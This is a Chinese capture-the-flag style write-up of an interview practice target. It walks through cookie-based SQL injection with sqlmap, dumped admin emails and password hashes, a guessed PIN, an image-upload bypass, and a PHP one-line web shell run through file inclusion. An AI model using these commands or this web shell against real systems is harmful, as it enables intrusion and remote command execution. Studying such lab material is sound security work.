朋友面试,发来一道实战题,在公网上找到了同样的题目,这里记录一下。
打开题目链接如下:
点击 about 页面,有一些提示信息。
告诉需要进行目录扫描,利用 dirsearch 进行了目录扫描,发现了一些文件。
访问 robots.txt 查看是否有敏感信息。
提示了 / 1234,但访问后显示 404。
这个网站把 robots.txt 改了,通过朋友面试靶机的 robots.txt 文件知道内容为 Company_admin/login.php,这是此网站的后台。
后台需要邮件、密码和四位数的认证码。通过简单的爆破发现此页面每刷新一次验证码都会改变,所以说表单爆破这个方法不可行。
面试靶机在 about.php 页面中还有个提示就是 sqli,sqli 注入,显然页面上有 sql 注入漏洞。
点击首页的 blog,发现这里有 id 的参数,尝试是否有 sql 注入。
这里给了个提示,“关于我的密码”。
直接用 sqlmap 进行注入利用,发现直接利用无法进行跑出内容。
通过测试发现注入点存在 cookie 这个点。
3 和 4。
直接用 sqlmap 跑。
sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog --tables
存在五张表。
读取表内容:
sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog -T admin –columns
sqlmap 跑 amdin 的字段的时候,一直报错,所以这里就手工注入。
得到五个账号:
2020-08-08 20:16:55:fakeaddr@gmail.com:e69dc2c09e8da6259422d987ccbe95b5
2021-10-19 01:44:56:123@qq.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 02:53:01:qwe@gmail.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 23:41:40:qian@gmail.com:e10adc3949ba59abbe56e057f20f883e
[email protected]的明文为 asdqwe123
那只剩下 4 位数的认证码了。既然不能爆破,在 about 页面的提示出,提示过 “一些社会工程”。
在面试靶机中的 blog 处,有两篇文章,其中一篇是祝自己生日快乐,有个生日日期,2019-10-27。
尝试输入,通过 1027 登录成功。
登录后界面如下:
在 Blog-create post 处,存在上传点,测试后,发现这个地方白名单,限制了只能上传图片格式的后缀。
看看是否存在文件包含漏洞,直接包含图片马,然后执行命令。
在 access-language 处,有个参数很熟悉 “?template=”。
可直接进行文件包含,天时地利人和,准备图片马。
制作图片马,准备一个 php 文件,一个 png 文件。
cat 1.php >> 1.png
经过测试发现,该靶机上传的 webshell,不能通过 get 或 post 请求去连接,只能和 sql 注入一样,通过 cookie 参数去连接,然后执行命令。
首先准备如下一句话木马文件。
<?php system($_COOKIE['a']);?>
然后通过上面的方法制作图片马,生成后如下图。
回到创建博客的地方,上传图片马。
地址 upload/0c3459ff68c1495cefc557f0084a2ac6.png。
用 burp 抓这个包,然后在 cookie 处执行命令。
开始找 flag。
成功找到 flag。